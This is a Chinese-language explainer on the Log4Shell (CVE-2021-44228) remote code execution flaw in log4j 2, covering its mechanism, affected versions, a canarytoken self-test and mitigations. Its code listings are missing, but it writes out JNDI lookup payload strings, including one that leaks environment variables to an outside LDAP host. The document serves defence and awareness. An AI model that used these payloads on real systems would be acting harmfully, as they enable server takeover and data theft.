在流行的 Java 日志库log4j中发现了一个 0day漏洞(绰号 Log4Shell 或 LogJam或 log4j2rce,详见:CVE-2021-44228),该漏洞通过记录某个字符串导致远程代码执行 (RCE)。
鉴于log4j2库非常流行,漏洞会被利用完全控制你的服务器,实现挖矿等无法想象的后果。这个 log4j 漏洞非常严重, 该漏洞在 CVSS 评级系统中的得分为 10 分,满分是10分,表明问题的严重性。数以百万计的应用程序使用 Log4j 进行日志记录,攻击者所需要做的就是让应用程序记录一个特殊的字符串,当启用消息查找替换时,攻击者可以执行从LDAP服务器加载的任意代码。
到目前为止,iCloud、Steam 和 Minecraft 都已确认存在漏洞。
这篇文章提供了资源来帮助您了解漏洞以及如何自行缓解。
二、漏洞原理
程序员以为log4j2这样日志框架只会将消息视为数据并处理基本格式。但是,Log4j 2.0 添加了lookups,包括 JNDI 查找。这些 JNDI 查找不受限制,从而导致漏洞。
Java命名和目录接口(JNDI)是一个目录服务,它允许您使用LDAP或DNS到接口的Java API来查找数据和资源。不幸的是,可以返回的数据类型之一是指向Java类的URI——如果您加载了一个不受信任的 Java 类,那么您就会在不知不觉中执行其他人的代码。例如:
log.info("Request User-Agent: {}", userAgent);
可以触发远程 LDAP 调用,导致恶意 Java 类被实例化。
Log4J 格式是可嵌套的,这意味着像 ${jndi:ldap://${env:user}.xyz.collab.com/a} 这样会泄漏服务器端环境变量。
更详细:假设你有下面一段代码,代码中使用了log4j作为日志输出:
结果:
核对结果:
|
攻击者只要调用:
|
你的程序将会调用攻击者IP的远程URL,这个URL会提供一个“恶意”类,其中包含一些他们希望在你应用中运行的代码。
深入原理见这篇文章。
CVE-2021-44228(Apache Log4j 远程代码执行)攻击演示源码:
|
攻击运行:
|
你会看到你本地的计算器被无故调用了。
测试自己是否受到影响?
可以通过https://canarytokens.org,选择下拉列表最后一行:Log4Shell;
输入你的邮箱,获得:
${jndi:ldap://XXX.canarytokens.com/a}
然后,按照前面所述,将这ldap格式字符串作为你的系统的参数传入,模拟攻击。
如果有这个ldap格式字符串中的URL的 DNS查询,将有一封报警信发送到你的邮件,说明你的系统存在有此漏洞威胁。
谁受到影响?
许多服务都容易受到这种攻击。Steam、Apple iCloud等云服务和 Minecraft 等应用程序已被发现存在漏洞。
任何使用 Apache Struts 的人都可能受到攻击。我们曾在2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。
这篇博文中讨论了针对 Apache Tomcat 服务器上存在的org.apache.naming.factory.BeanFactory类的攻击 。
远远不止上述,几乎所有java世界都受到影响。
受此影响Apache的log4j的版本
- 2.0 <= Apache log4j <= 2.14.1
- JVM 版本 - 如果低于:
- Java 6 – 6u212
- Java 7 – 7u202
- Java 8 – 8u192
- Java 11 - 11.0.2
如果上述两个条件都为真,几乎肯定会受到影响;注意还有一种观点(见文后)认为这个漏洞与Java版本无关。
解决方法:
- 设置环境变量:log4j2.formatMsgNoLookups设置为true
方法:
|
上述代码临时编写了一个Verify.java用来确证环境变量修改已经生效。
为什么不用JAVA_OPTS?因为 JAVA_OPTS 不是由 JVM 自动获取的。它由 shell/bat 脚本传递,然后您必须知道在哪里编辑这些脚本以确保传递 JAVA_OPTS。
- 或更新到log4j-2.15.0或更高版本启动您的服务器:
|
使用Maven的排除exclusions语法防止log4j 1.x加载:
|
其他建议:
- 注意上述办法仅适用于 2.10到2.14.1之间版本;但是更旧版本还是仍然容易受到攻击
- log4j 支持任何配置的环境变量。在这种情况下,您将设置 LOG4J_FORMAT_MSG_NO_LOOKUPS=true关闭JNDI查找
- 关于检查集群的所有 pod kubectl get pods -o name | xargs -I{} kubectl exec -it {} -- env | grep JAVA_TOOL_OPTIONS
- 以色列网络安全公司 Cybereason 还发布了一个名为“ Logout4Shell ”的修复程序。
此漏洞影响面非常广泛,从《我的世界》到整个Java世界都需要升级,下面链接是演示这种漏洞的攻击演示,从苹果官网到腾讯:
GitHub - YfryTchsGD/Log4jAttackSurface
深入分析
在默认安装中,JNDI 支持两种“有趣”的协议:RMI 和 LDAP。
- 从 Java 8u121 开始,RMI(但不是 LDAP)默认不再允许远程代码库
- LDAP 名称仍然允许直接远程执行代码。这种“疏忽”后来才在 Java 8u191 中作为 CVE-2018-3149 解决
在 Java 8u191 之前,存在从受控 JNDI 查找到任意代码的远程类加载的直接路径。该 Java 版本大约有 3 年历史。
结论:不要依赖当前的 Java 版本来拯救你:更新 Log4J(或删除 JNDI 查找)。